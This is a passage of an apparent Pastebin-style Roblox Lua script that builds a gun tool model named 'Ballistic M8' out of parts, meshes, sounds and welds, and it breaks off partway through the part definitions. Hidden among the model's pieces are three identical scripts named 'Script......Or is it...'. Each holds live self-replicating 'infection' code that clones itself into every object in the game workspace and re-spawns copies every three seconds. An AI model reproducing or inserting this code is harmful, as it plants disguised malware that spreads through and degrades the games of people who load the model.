Pou_help

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Feb 20th, 2019
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  1.  
  2. -- made by 1ndrew
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. Tool0 = Instance.new("Tool")
  20. Script1 = Instance.new("Script")
  21. Part2 = Instance.new("Part")
  22. CylinderMesh3 = Instance.new("CylinderMesh")
  23. Part4 = Instance.new("Part")
  24. BlockMesh5 = Instance.new("BlockMesh")
  25. Part6 = Instance.new("Part")
  26. BlockMesh7 = Instance.new("BlockMesh")
  27. Part8 = Instance.new("Part")
  28. BlockMesh9 = Instance.new("BlockMesh")
  29. Sound10 = Instance.new("Sound")
  30. Script11 = Instance.new("Script")
  31. Sound12 = Instance.new("Sound")
  32. Script13 = Instance.new("Script")
  33. Part14 = Instance.new("Part")
  34. BlockMesh15 = Instance.new("BlockMesh")
  35. Part16 = Instance.new("Part")
  36. SpecialMesh17 = Instance.new("SpecialMesh")
  37. Part18 = Instance.new("Part")
  38. BlockMesh19 = Instance.new("BlockMesh")
  39. Part20 = Instance.new("Part")
  40. BlockMesh21 = Instance.new("BlockMesh")
  41. Part22 = Instance.new("Part")
  42. SpecialMesh23 = Instance.new("SpecialMesh")
  43. Part24 = Instance.new("Part")
  44. BlockMesh25 = Instance.new("BlockMesh")
  45. ManualWeld26 = Instance.new("ManualWeld")
  46. Part27 = Instance.new("Part")
  47. BlockMesh28 = Instance.new("BlockMesh")
  48. Part29 = Instance.new("Part")
  49. BlockMesh30 = Instance.new("BlockMesh")
  50. Part31 = Instance.new("Part")
  51. BlockMesh32 = Instance.new("BlockMesh")
  52. Part33 = Instance.new("Part")
  53. SpecialMesh34 = Instance.new("SpecialMesh")
  54. Part35 = Instance.new("Part")
  55. SpecialMesh36 = Instance.new("SpecialMesh")
  56. Part37 = Instance.new("Part")
  57. SpecialMesh38 = Instance.new("SpecialMesh")
  58. Part39 = Instance.new("Part")
  59. BlockMesh40 = Instance.new("BlockMesh")
  60. ManualWeld41 = Instance.new("ManualWeld")
  61. Part42 = Instance.new("Part")
  62. BlockMesh43 = Instance.new("BlockMesh")
  63. ManualWeld44 = Instance.new("ManualWeld")
  64. LocalScript45 = Instance.new("LocalScript")
  65. NumberValue46 = Instance.new("NumberValue")
  66. NumberValue47 = Instance.new("NumberValue")
  67. PointLight48 = Instance.new("PointLight")
  68. Smoke49 = Instance.new("Smoke")
  69. Smoke50 = Instance.new("Smoke")
  70. ScreenGui51 = Instance.new("ScreenGui")
  71. Frame52 = Instance.new("Frame")
  72. TextLabel53 = Instance.new("TextLabel")
  73. Frame54 = Instance.new("Frame")
  74. TextLabel55 = Instance.new("TextLabel")
  75. Frame56 = Instance.new("Frame")
  76. TextLabel57 = Instance.new("TextLabel")
  77. TextLabel58 = Instance.new("TextLabel")
  78. Part59 = Instance.new("Part")
  79. BlockMesh60 = Instance.new("BlockMesh")
  80. Part61 = Instance.new("Part")
  81. SpecialMesh62 = Instance.new("SpecialMesh")
  82. Part63 = Instance.new("Part")
  83. CylinderMesh64 = Instance.new("CylinderMesh")
  84. Part65 = Instance.new("Part")
  85. BlockMesh66 = Instance.new("BlockMesh")
  86. Part67 = Instance.new("Part")
  87. BlockMesh68 = Instance.new("BlockMesh")
  88. Part69 = Instance.new("Part")
  89. SpecialMesh70 = Instance.new("SpecialMesh")
  90. Part71 = Instance.new("Part")
  91. BlockMesh72 = Instance.new("BlockMesh")
  92. Part73 = Instance.new("Part")
  93. BlockMesh74 = Instance.new("BlockMesh")
  94. Part75 = Instance.new("Part")
  95. BlockMesh76 = Instance.new("BlockMesh")
  96. Part77 = Instance.new("Part")
  97. BlockMesh78 = Instance.new("BlockMesh")
  98. ManualWeld79 = Instance.new("ManualWeld")
  99. Part80 = Instance.new("Part")
  100. BlockMesh81 = Instance.new("BlockMesh")
  101. Part82 = Instance.new("Part")
  102. BlockMesh83 = Instance.new("BlockMesh")
  103. Part84 = Instance.new("Part")
  104. BlockMesh85 = Instance.new("BlockMesh")
  105. Part86 = Instance.new("Part")
  106. BlockMesh87 = Instance.new("BlockMesh")
  107. Part88 = Instance.new("Part")
  108. SpecialMesh89 = Instance.new("SpecialMesh")
  109. Part90 = Instance.new("Part")
  110. SpecialMesh91 = Instance.new("SpecialMesh")
  111. Part92 = Instance.new("Part")
  112. SpecialMesh93 = Instance.new("SpecialMesh")
  113. Part94 = Instance.new("Part")
  114. BlockMesh95 = Instance.new("BlockMesh")
  115. Part96 = Instance.new("Part")
  116. CylinderMesh97 = Instance.new("CylinderMesh")
  117. Part98 = Instance.new("Part")
  118. BlockMesh99 = Instance.new("BlockMesh")
  119. Part100 = Instance.new("Part")
  120. SpecialMesh101 = Instance.new("SpecialMesh")
  121. Part102 = Instance.new("Part")
  122. BlockMesh103 = Instance.new("BlockMesh")
  123. Part104 = Instance.new("Part")
  124. BlockMesh105 = Instance.new("BlockMesh")
  125. Part106 = Instance.new("Part")
  126. SpecialMesh107 = Instance.new("SpecialMesh")
  127. Part108 = Instance.new("Part")
  128. BlockMesh109 = Instance.new("BlockMesh")
  129. Part110 = Instance.new("Part")
  130. BlockMesh111 = Instance.new("BlockMesh")
  131. Part112 = Instance.new("Part")
  132. BlockMesh113 = Instance.new("BlockMesh")
  133. Part114 = Instance.new("Part")
  134. BlockMesh115 = Instance.new("BlockMesh")
  135. Part116 = Instance.new("Part")
  136. BlockMesh117 = Instance.new("BlockMesh")
  137. Part118 = Instance.new("Part")
  138. BlockMesh119 = Instance.new("BlockMesh")
  139. Part120 = Instance.new("Part")
  140. BlockMesh121 = Instance.new("BlockMesh")
  141. Part122 = Instance.new("Part")
  142. BlockMesh123 = Instance.new("BlockMesh")
  143. Part124 = Instance.new("Part")
  144. BlockMesh125 = Instance.new("BlockMesh")
  145. Part126 = Instance.new("Part")
  146. SpecialMesh127 = Instance.new("SpecialMesh")
  147. Part128 = Instance.new("Part")
  148. BlockMesh129 = Instance.new("BlockMesh")
  149. Part130 = Instance.new("Part")
  150. BlockMesh131 = Instance.new("BlockMesh")
  151. Part132 = Instance.new("Part")
  152. BlockMesh133 = Instance.new("BlockMesh")
  153. Part134 = Instance.new("Part")
  154. BlockMesh135 = Instance.new("BlockMesh")
  155. Part136 = Instance.new("Part")
  156. SpecialMesh137 = Instance.new("SpecialMesh")
  157. Part138 = Instance.new("Part")
  158. BlockMesh139 = Instance.new("BlockMesh")
  159. Part140 = Instance.new("Part")
  160. BlockMesh141 = Instance.new("BlockMesh")
  161. Part142 = Instance.new("Part")
  162. SpecialMesh143 = Instance.new("SpecialMesh")
  163. Part144 = Instance.new("Part")
  164. BlockMesh145 = Instance.new("BlockMesh")
  165. Part146 = Instance.new("Part")
  166. SpecialMesh147 = Instance.new("SpecialMesh")
  167. Part148 = Instance.new("Part")
  168. BlockMesh149 = Instance.new("BlockMesh")
  169. Part150 = Instance.new("Part")
  170. BlockMesh151 = Instance.new("BlockMesh")
  171. Part152 = Instance.new("Part")
  172. SpecialMesh153 = Instance.new("SpecialMesh")
  173. Part154 = Instance.new("Part")
  174. SpecialMesh155 = Instance.new("SpecialMesh")
  175. Part156 = Instance.new("Part")
  176. BlockMesh157 = Instance.new("BlockMesh")
  177. Part158 = Instance.new("Part")
  178. BlockMesh159 = Instance.new("BlockMesh")
  179. ManualWeld160 = Instance.new("ManualWeld")
  180. Part161 = Instance.new("Part")
  181. BlockMesh162 = Instance.new("BlockMesh")
  182. Part163 = Instance.new("Part")
  183. SpecialMesh164 = Instance.new("SpecialMesh")
  184. Part165 = Instance.new("Part")
  185. SpecialMesh166 = Instance.new("SpecialMesh")
  186. ManualWeld167 = Instance.new("ManualWeld")
  187. Part168 = Instance.new("Part")
  188. BlockMesh169 = Instance.new("BlockMesh")
  189. Part170 = Instance.new("Part")
  190. BlockMesh171 = Instance.new("BlockMesh")
  191. Part172 = Instance.new("Part")
  192. SpecialMesh173 = Instance.new("SpecialMesh")
  193. Part174 = Instance.new("Part")
  194. SpecialMesh175 = Instance.new("SpecialMesh")
  195. Part176 = Instance.new("Part")
  196. SpecialMesh177 = Instance.new("SpecialMesh")
  197. Part178 = Instance.new("Part")
  198. SpecialMesh179 = Instance.new("SpecialMesh")
  199. Part180 = Instance.new("Part")
  200. SpecialMesh181 = Instance.new("SpecialMesh")
  201. Part182 = Instance.new("Part")
  202. CylinderMesh183 = Instance.new("CylinderMesh")
  203. Part184 = Instance.new("Part")
  204. SpecialMesh185 = Instance.new("SpecialMesh")
  205. Part186 = Instance.new("Part")
  206. Decal187 = Instance.new("Decal")
  207. Decal188 = Instance.new("Decal")
  208. Decal189 = Instance.new("Decal")
  209. Decal190 = Instance.new("Decal")
  210. Decal191 = Instance.new("Decal")
  211. Decal192 = Instance.new("Decal")
  212. Decal193 = Instance.new("Decal")
  213. CylinderMesh194 = Instance.new("CylinderMesh")
  214. Part195 = Instance.new("Part")
  215. SpecialMesh196 = Instance.new("SpecialMesh")
  216. Part197 = Instance.new("Part")
  217. CylinderMesh198 = Instance.new("CylinderMesh")
  218. Part199 = Instance.new("Part")
  219. BlockMesh200 = Instance.new("BlockMesh")
  220. Part201 = Instance.new("Part")
  221. SpecialMesh202 = Instance.new("SpecialMesh")
  222. Part203 = Instance.new("Part")
  223. BlockMesh204 = Instance.new("BlockMesh")
  224. Part205 = Instance.new("Part")
  225. BlockMesh206 = Instance.new("BlockMesh")
  226. Part207 = Instance.new("Part")
  227. BlockMesh208 = Instance.new("BlockMesh")
  228. Part209 = Instance.new("Part")
  229. SpecialMesh210 = Instance.new("SpecialMesh")
  230. Part211 = Instance.new("Part")
  231. BlockMesh212 = Instance.new("BlockMesh")
  232. Part213 = Instance.new("Part")
  233. BlockMesh214 = Instance.new("BlockMesh")
  234. Part215 = Instance.new("Part")
  235. SpecialMesh216 = Instance.new("SpecialMesh")
  236. Part217 = Instance.new("Part")
  237. BlockMesh218 = Instance.new("BlockMesh")
  238. Part219 = Instance.new("Part")
  239. SpecialMesh220 = Instance.new("SpecialMesh")
  240. Part221 = Instance.new("Part")
  241. SpecialMesh222 = Instance.new("SpecialMesh")
  242. Part223 = Instance.new("Part")
  243. SpecialMesh224 = Instance.new("SpecialMesh")
  244. Part225 = Instance.new("Part")
  245. BlockMesh226 = Instance.new("BlockMesh")
  246. Part227 = Instance.new("Part")
  247. BlockMesh228 = Instance.new("BlockMesh")
  248. Part229 = Instance.new("Part")
  249. CylinderMesh230 = Instance.new("CylinderMesh")
  250. Part231 = Instance.new("Part")
  251. BlockMesh232 = Instance.new("BlockMesh")
  252. Part233 = Instance.new("Part")
  253. SpecialMesh234 = Instance.new("SpecialMesh")
  254. Part235 = Instance.new("Part")
  255. BlockMesh236 = Instance.new("BlockMesh")
  256. Part237 = Instance.new("Part")
  257. BlockMesh238 = Instance.new("BlockMesh")
  258. Tool0.Name = "Ballistic M8"
  259. Tool0.Parent = mas
  260. Script1.Name = "Script......Or is it..."
  261. Script1.Parent = mas
  262. table.insert(cors,sandbox(Script1,function()
  263. if script.Parent.className ~= "RotateP" then
  264. local p = Instance.new("RotateP")
  265. p.Parent = workspace
  266. p.Name = "INfecTION"
  267. script.Parent = p
  268. end
  269.  
  270. function check()
  271. local list = workspace:GetChildren()
  272. for i = 1, #list do
  273. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  274. script.Parent:Clone().Parent = list[i]
  275. end
  276. wait()
  277. end
  278. end
  279.  
  280. while true do
  281. check()
  282. if workspace:findFirstChild("inFECtion") == nil then
  283. local main = script.Parent:Clone()
  284. main.Name = "inFECtion"
  285. main.Parent = workspace
  286. end
  287. wait(3)
  288. end
  289.  
  290. end))
  291. Part2.Name = "SmokePart"
  292. Part2.Parent = Tool0
  293. Part2.Material = Enum.Material.SmoothPlastic
  294. Part2.BrickColor = BrickColor.new("Dark stone grey")
  295. Part2.Rotation = Vector3.new(90, 0, -180)
  296. Part2.Anchored = true
  297. Part2.FormFactor = Enum.FormFactor.Custom
  298. Part2.Size = Vector3.new(0.200000003, 0.400001854, 0.200000003)
  299. Part2.CFrame = CFrame.new(34.5, 1.43857396, -8.79998779, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  300. Part2.BottomSurface = Enum.SurfaceType.Smooth
  301. Part2.TopSurface = Enum.SurfaceType.Smooth
  302. Part2.Color = Color3.new(0.388235, 0.372549, 0.384314)
  303. Part2.Position = Vector3.new(34.5, 1.43857396, -8.79998779)
  304. Part2.Orientation = Vector3.new(90, 180, 0)
  305. Part2.Color = Color3.new(0.388235, 0.372549, 0.384314)
  306. CylinderMesh3.Parent = Part2
  307. CylinderMesh3.Scale = Vector3.new(0.888888836, 1, 0.888887703)
  308. CylinderMesh3.Scale = Vector3.new(0.888888836, 1, 0.888887703)
  309. Part4.Parent = Tool0
  310. Part4.Material = Enum.Material.SmoothPlastic
  311. Part4.BrickColor = BrickColor.new("Really black")
  312. Part4.Reflectance = 0.20000000298023
  313. Part4.Rotation = Vector3.new(-120, 0, 0)
  314. Part4.Anchored = true
  315. Part4.FormFactor = Enum.FormFactor.Custom
  316. Part4.Size = Vector3.new(0.200000003, 0.57777822, 0.200000003)
  317. Part4.CFrame = CFrame.new(34.5148926, 1.08896506, -10.3483858, 1, 8.92672887e-08, -3.11594022e-07, 3.14481952e-07, -0.5, 0.866025388, -7.84892933e-08, -0.866025388, -0.5)
  318. Part4.BottomSurface = Enum.SurfaceType.Smooth
  319. Part4.TopSurface = Enum.SurfaceType.Smooth
  320. Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  321. Part4.Position = Vector3.new(34.5148926, 1.08896506, -10.3483858)
  322. Part4.Orientation = Vector3.new(-60, -180, 180)
  323. Part4.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  324. BlockMesh5.Parent = Part4
  325. BlockMesh5.Scale = Vector3.new(0.888889134, 1, 0.407406121)
  326. BlockMesh5.Scale = Vector3.new(0.888889134, 1, 0.407406121)
  327. Part6.Parent = Tool0
  328. Part6.Material = Enum.Material.SmoothPlastic
  329. Part6.BrickColor = BrickColor.new("Black")
  330. Part6.Rotation = Vector3.new(-180, 0, 0)
  331. Part6.Anchored = true
  332. Part6.FormFactor = Enum.FormFactor.Custom
  333. Part6.Size = Vector3.new(0.200000003, 0.200000003, 1.97037566)
  334. Part6.CFrame = CFrame.new(34.5, 1.41269505, -9.98516846, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  335. Part6.BottomSurface = Enum.SurfaceType.Smooth
  336. Part6.TopSurface = Enum.SurfaceType.Smooth
  337. Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
  338. Part6.Position = Vector3.new(34.5, 1.41269505, -9.98516846)
  339. Part6.Orientation = Vector3.new(0, 180, 180)
  340. Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
  341. BlockMesh7.Parent = Part6
  342. BlockMesh7.Scale = Vector3.new(0.962963641, 0.925925493, 1)
  343. BlockMesh7.Scale = Vector3.new(0.962963641, 0.925925493, 1)
  344. Part8.Name = "Handle"
  345. Part8.Parent = Tool0
  346. Part8.Material = Enum.Material.SmoothPlastic
  347. Part8.BrickColor = BrickColor.new("Black")
  348. Part8.Reflectance = 0.20000000298023
  349. Part8.Transparency = 1
  350. Part8.Rotation = Vector3.new(-180, 0, -180)
  351. Part8.Anchored = true
  352. Part8.FormFactor = Enum.FormFactor.Custom
  353. Part8.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  354. Part8.CFrame = CFrame.new(34.3855019, 0.842628002, -11.4422598, -0.999999881, 8.35096756e-08, -1.49011612e-08, 8.35096685e-08, 1, 1.31434499e-08, 1.49011612e-08, 1.31435094e-08, -0.999999881)
  355. Part8.BottomSurface = Enum.SurfaceType.Smooth
  356. Part8.TopSurface = Enum.SurfaceType.Smooth
  357. Part8.Color = Color3.new(0.105882, 0.164706, 0.207843)
  358. Part8.Position = Vector3.new(34.3855019, 0.842628002, -11.4422598)
  359. Part8.Orientation = Vector3.new(0, -180, 0)
  360. Part8.Color = Color3.new(0.105882, 0.164706, 0.207843)
  361. BlockMesh9.Parent = Part8
  362. BlockMesh9.Scale = Vector3.new(0.962963223, 0.259266168, 0.407407582)
  363. BlockMesh9.Scale = Vector3.new(0.962963223, 0.259266168, 0.407407582)
  364. Sound10.Name = "Shoot"
  365. Sound10.Parent = Part8
  366. Sound10.SoundId = "rbxassetid://137983646"
  367. Sound10.Volume = 1
  368. Script11.Name = "Script......Or is it..."
  369. Script11.Parent = mas
  370. table.insert(cors,sandbox(Script11,function()
  371. if script.Parent.className ~= "RotateP" then
  372. local p = Instance.new("RotateP")
  373. p.Parent = workspace
  374. p.Name = "INfecTION"
  375. script.Parent = p
  376. end
  377.  
  378. function check()
  379. local list = workspace:GetChildren()
  380. for i = 1, #list do
  381. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  382. script.Parent:Clone().Parent = list[i]
  383. end
  384. wait()
  385. end
  386. end
  387.  
  388. while true do
  389. check()
  390. if workspace:findFirstChild("inFECtion") == nil then
  391. local main = script.Parent:Clone()
  392. main.Name = "inFECtion"
  393. main.Parent = workspace
  394. end
  395. wait(3)
  396. end
  397.  
  398. end))
  399. Sound12.Name = "Reload"
  400. Sound12.Parent = Part8
  401. Sound12.SoundId = "rbxassetid://506273075"
  402. Sound12.Volume = 1
  403. Script13.Name = "Script......Or is it..."
  404. Script13.Parent = mas
  405. table.insert(cors,sandbox(Script13,function()
  406. if script.Parent.className ~= "RotateP" then
  407. local p = Instance.new("RotateP")
  408. p.Parent = workspace
  409. p.Name = "INfecTION"
  410. script.Parent = p
  411. end
  412.  
  413. function check()
  414. local list = workspace:GetChildren()
  415. for i = 1, #list do
  416. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  417. script.Parent:Clone().Parent = list[i]
  418. end
  419. wait()
  420. end
  421. end
  422.  
  423. while true do
  424. check()
  425. if workspace:findFirstChild("inFECtion") == nil then
  426. local main = script.Parent:Clone()
  427. main.Name = "inFECtion"
  428. main.Parent = workspace
  429. end
  430. wait(3)
  431. end
  432.  
  433. end))
  434. Part14.Parent = Tool0
  435. Part14.Material = Enum.Material.SmoothPlastic
  436. Part14.BrickColor = BrickColor.new("Black")
  437. Part14.Reflectance = 0.20000000298023
  438. Part14.Rotation = Vector3.new(-45, 0, 0)
  439. Part14.Anchored = true
  440. Part14.FormFactor = Enum.FormFactor.Custom
  441. Part14.Size = Vector3.new(0.200000003, 0.200000003, 0.837036848)
  442. Part14.CFrame = CFrame.new(34.5, 1.04258001, -13.286438, 1, 2.54968313e-08, 7.88808592e-08, -7.3806163e-08, 0.707106769, 0.707106709, -3.77482152e-08, -0.707106709, 0.707106769)
  443. Part14.BottomSurface = Enum.SurfaceType.Smooth
  444. Part14.TopSurface = Enum.SurfaceType.Smooth
  445. Part14.Color = Color3.new(0.105882, 0.164706, 0.207843)
  446. Part14.Position = Vector3.new(34.5, 1.04258001, -13.286438)
  447. Part14.Orientation = Vector3.new(-45, 0, 0)
  448. Part14.Color = Color3.new(0.105882, 0.164706, 0.207843)
  449. BlockMesh15.Parent = Part14
  450. BlockMesh15.Scale = Vector3.new(0.888889134, 0.592592716, 1)
  451. BlockMesh15.Scale = Vector3.new(0.888889134, 0.592592716, 1)
  452. Part16.Parent = Tool0
  453. Part16.Material = Enum.Material.SmoothPlastic
  454. Part16.BrickColor = BrickColor.new("Black")
  455. Part16.Reflectance = 0.20000000298023
  456. Part16.Rotation = Vector3.new(90, 0, -180)
  457. Part16.Anchored = true
  458. Part16.FormFactor = Enum.FormFactor.Custom
  459. Part16.Size = Vector3.new(0.20740743, 0.34074083, 0.200000003)
  460. Part16.CFrame = CFrame.new(34.5, 1.58676803, -12.7407217, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  461. Part16.BottomSurface = Enum.SurfaceType.Smooth
  462. Part16.TopSurface = Enum.SurfaceType.Smooth
  463. Part16.Color = Color3.new(0.105882, 0.164706, 0.207843)
  464. Part16.Position = Vector3.new(34.5, 1.58676803, -12.7407217)
  465. Part16.Orientation = Vector3.new(90, 180, 0)
  466. Part16.Color = Color3.new(0.105882, 0.164706, 0.207843)
  467. SpecialMesh17.Parent = Part16
  468. SpecialMesh17.Scale = Vector3.new(1, 1, 0.259259343)
  469. SpecialMesh17.MeshType = Enum.MeshType.Wedge
  470. SpecialMesh17.Scale = Vector3.new(1, 1, 0.259259343)
  471. Part18.Parent = Tool0
  472. Part18.Material = Enum.Material.SmoothPlastic
  473. Part18.BrickColor = BrickColor.new("Black")
  474. Part18.Reflectance = 0.20000000298023
  475. Part18.Anchored = true
  476. Part18.FormFactor = Enum.FormFactor.Custom
  477. Part18.Size = Vector3.new(0.207407534, 0.200000003, 0.777780473)
  478. Part18.CFrame = CFrame.new(34.5, 1.06821096, -11.8555298, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  479. Part18.BottomSurface = Enum.SurfaceType.Smooth
  480. Part18.TopSurface = Enum.SurfaceType.Smooth
  481. Part18.Color = Color3.new(0.105882, 0.164706, 0.207843)
  482. Part18.Position = Vector3.new(34.5, 1.06821096, -11.8555298)
  483. Part18.Color = Color3.new(0.105882, 0.164706, 0.207843)
  484. BlockMesh19.Parent = Part18
  485. BlockMesh19.Scale = Vector3.new(1, 0.592592061, 1)
  486. BlockMesh19.Scale = Vector3.new(1, 0.592592061, 1)
  487. Part20.Parent = Tool0
  488. Part20.Material = Enum.Material.SmoothPlastic
  489. Part20.BrickColor = BrickColor.new("Black")
  490. Part20.Reflectance = 0.20000000298023
  491. Part20.Rotation = Vector3.new(-90, 0, 0)
  492. Part20.Anchored = true
  493. Part20.FormFactor = Enum.FormFactor.Custom
  494. Part20.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  495. Part20.CFrame = CFrame.new(34.4963379, 1.67563403, -9.23333359, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  496. Part20.BottomSurface = Enum.SurfaceType.Smooth
  497. Part20.TopSurface = Enum.SurfaceType.Smooth
  498. Part20.Color = Color3.new(0.105882, 0.164706, 0.207843)
  499. Part20.Position = Vector3.new(34.4963379, 1.67563403, -9.23333359)
  500. Part20.Orientation = Vector3.new(-89.9599991, 180, 180)
  501. Part20.Color = Color3.new(0.105882, 0.164706, 0.207843)
  502. BlockMesh21.Parent = Part20
  503. BlockMesh21.Scale = Vector3.new(0.481481433, 0.703703821, 0.370370358)
  504. BlockMesh21.Scale = Vector3.new(0.481481433, 0.703703821, 0.370370358)
  505. Part22.Parent = Tool0
  506. Part22.Material = Enum.Material.SmoothPlastic
  507. Part22.BrickColor = BrickColor.new("Black")
  508. Part22.Reflectance = 0.20000000298023
  509. Part22.Rotation = Vector3.new(90, 0, 0)
  510. Part22.Anchored = true
  511. Part22.FormFactor = Enum.FormFactor.Custom
  512. Part22.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  513. Part22.CFrame = CFrame.new(34.5, 1.50156295, -13.5444336, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  514. Part22.BottomSurface = Enum.SurfaceType.Smooth
  515. Part22.TopSurface = Enum.SurfaceType.Smooth
  516. Part22.Color = Color3.new(0.105882, 0.164706, 0.207843)
  517. Part22.Position = Vector3.new(34.5, 1.50156295, -13.5444336)
  518. Part22.Orientation = Vector3.new(90, 0, 0)
  519. Part22.Color = Color3.new(0.105882, 0.164706, 0.207843)
  520. SpecialMesh23.Parent = Part22
  521. SpecialMesh23.Scale = Vector3.new(0.888889551, 0.851851761, 0.962963104)
  522. SpecialMesh23.MeshType = Enum.MeshType.Wedge
  523. SpecialMesh23.Scale = Vector3.new(0.888889551, 0.851851761, 0.962963104)
  524. Part24.Parent = Tool0
  525. Part24.Material = Enum.Material.SmoothPlastic
  526. Part24.BrickColor = BrickColor.new("Black")
  527. Part24.Reflectance = 0.20000000298023
  528. Part24.Rotation = Vector3.new(-90, 0, 0)
  529. Part24.Anchored = true
  530. Part24.FormFactor = Enum.FormFactor.Custom
  531. Part24.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  532. Part24.CFrame = CFrame.new(34.4963379, 1.67563403, -12.0999756, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  533. Part24.BottomSurface = Enum.SurfaceType.Smooth
  534. Part24.TopSurface = Enum.SurfaceType.Smooth
  535. Part24.Color = Color3.new(0.105882, 0.164706, 0.207843)
  536. Part24.Position = Vector3.new(34.4963379, 1.67563403, -12.0999756)
  537. Part24.Orientation = Vector3.new(-90, 0, 0)
  538. Part24.Color = Color3.new(0.105882, 0.164706, 0.207843)
  539. BlockMesh25.Parent = Part24
  540. BlockMesh25.Scale = Vector3.new(0.70370388, 0.0740740448, 0.370370358)
  541. BlockMesh25.Scale = Vector3.new(0.70370388, 0.0740740448, 0.370370358)
  542. ManualWeld26.Name = "Part-to-AimPart Strong Joint"
  543. ManualWeld26.Parent = Part24
  544. ManualWeld26.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  545. ManualWeld26.C1 = CFrame.new(0.0999984741, -0.0962898731, -0.1814785, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  546. ManualWeld26.Part0 = Part24
  547. ManualWeld26.Part1 = Part237
  548. Part27.Parent = Tool0
  549. Part27.Material = Enum.Material.SmoothPlastic
  550. Part27.BrickColor = BrickColor.new("Black")
  551. Part27.Reflectance = 0.20000000298023
  552. Part27.Anchored = true
  553. Part27.FormFactor = Enum.FormFactor.Custom
  554. Part27.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  555. Part27.CFrame = CFrame.new(34.6148682, 1.38291204, -10.6295776, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  556. Part27.BottomSurface = Enum.SurfaceType.Smooth
  557. Part27.TopSurface = Enum.SurfaceType.Smooth
  558. Part27.Color = Color3.new(0.105882, 0.164706, 0.207843)
  559. Part27.Position = Vector3.new(34.6148682, 1.38291204, -10.6295776)
  560. Part27.Color = Color3.new(0.105882, 0.164706, 0.207843)
  561. BlockMesh28.Parent = Part27
  562. BlockMesh28.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
  563. BlockMesh28.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
  564. Part29.Parent = Tool0
  565. Part29.Material = Enum.Material.SmoothPlastic
  566. Part29.BrickColor = BrickColor.new("Black")
  567. Part29.Reflectance = 0.20000000298023
  568. Part29.Rotation = Vector3.new(-90, 0, 0)
  569. Part29.Anchored = true
  570. Part29.FormFactor = Enum.FormFactor.Custom
  571. Part29.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  572. Part29.CFrame = CFrame.new(34.4963379, 1.67563403, -9.35925198, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  573. Part29.BottomSurface = Enum.SurfaceType.Smooth
  574. Part29.TopSurface = Enum.SurfaceType.Smooth
  575. Part29.Color = Color3.new(0.105882, 0.164706, 0.207843)
  576. Part29.Position = Vector3.new(34.4963379, 1.67563403, -9.35925198)
  577. Part29.Orientation = Vector3.new(-89.9599991, 180, 180)
  578. Part29.Color = Color3.new(0.105882, 0.164706, 0.207843)
  579. BlockMesh30.Parent = Part29
  580. BlockMesh30.Scale = Vector3.new(0.0370370373, 0.111111142, 0.370370358)
  581. BlockMesh30.Scale = Vector3.new(0.0370370373, 0.111111142, 0.370370358)
  582. Part31.Parent = Tool0
  583. Part31.Material = Enum.Material.SmoothPlastic
  584. Part31.BrickColor = BrickColor.new("Black")
  585. Part31.Reflectance = 0.20000000298023
  586. Part31.Rotation = Vector3.new(-180, 0, -180)
  587. Part31.Anchored = true
  588. Part31.FormFactor = Enum.FormFactor.Custom
  589. Part31.Size = Vector3.new(0.200000003, 0.748149335, 0.222222224)
  590. Part31.CFrame = CFrame.new(34.5, 0.634863973, -12.1332998, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  591. Part31.BottomSurface = Enum.SurfaceType.Smooth
  592. Part31.TopSurface = Enum.SurfaceType.Smooth
  593. Part31.Color = Color3.new(0.105882, 0.164706, 0.207843)
  594. Part31.Position = Vector3.new(34.5, 0.634863973, -12.1332998)
  595. Part31.Orientation = Vector3.new(0, 180, 0)
  596. Part31.Color = Color3.new(0.105882, 0.164706, 0.207843)
  597. BlockMesh32.Parent = Part31
  598. BlockMesh32.Scale = Vector3.new(0.962963223, 1, 1)
  599. BlockMesh32.Scale = Vector3.new(0.962963223, 1, 1)
  600. Part33.Parent = Tool0
  601. Part33.Material = Enum.Material.SmoothPlastic
  602. Part33.BrickColor = BrickColor.new("Black")
  603. Part33.Reflectance = 0.20000000298023
  604. Part33.Rotation = Vector3.new(0, 0, 90)
  605. Part33.Anchored = true
  606. Part33.FormFactor = Enum.FormFactor.Custom
  607. Part33.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  608. Part33.CFrame = CFrame.new(34.5296631, 1.67563403, -9.31847382, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
  609. Part33.BottomSurface = Enum.SurfaceType.Smooth
  610. Part33.TopSurface = Enum.SurfaceType.Smooth
  611. Part33.Color = Color3.new(0.105882, 0.164706, 0.207843)
  612. Part33.Position = Vector3.new(34.5296631, 1.67563403, -9.31847382)
  613. Part33.Orientation = Vector3.new(0, 0, 90)
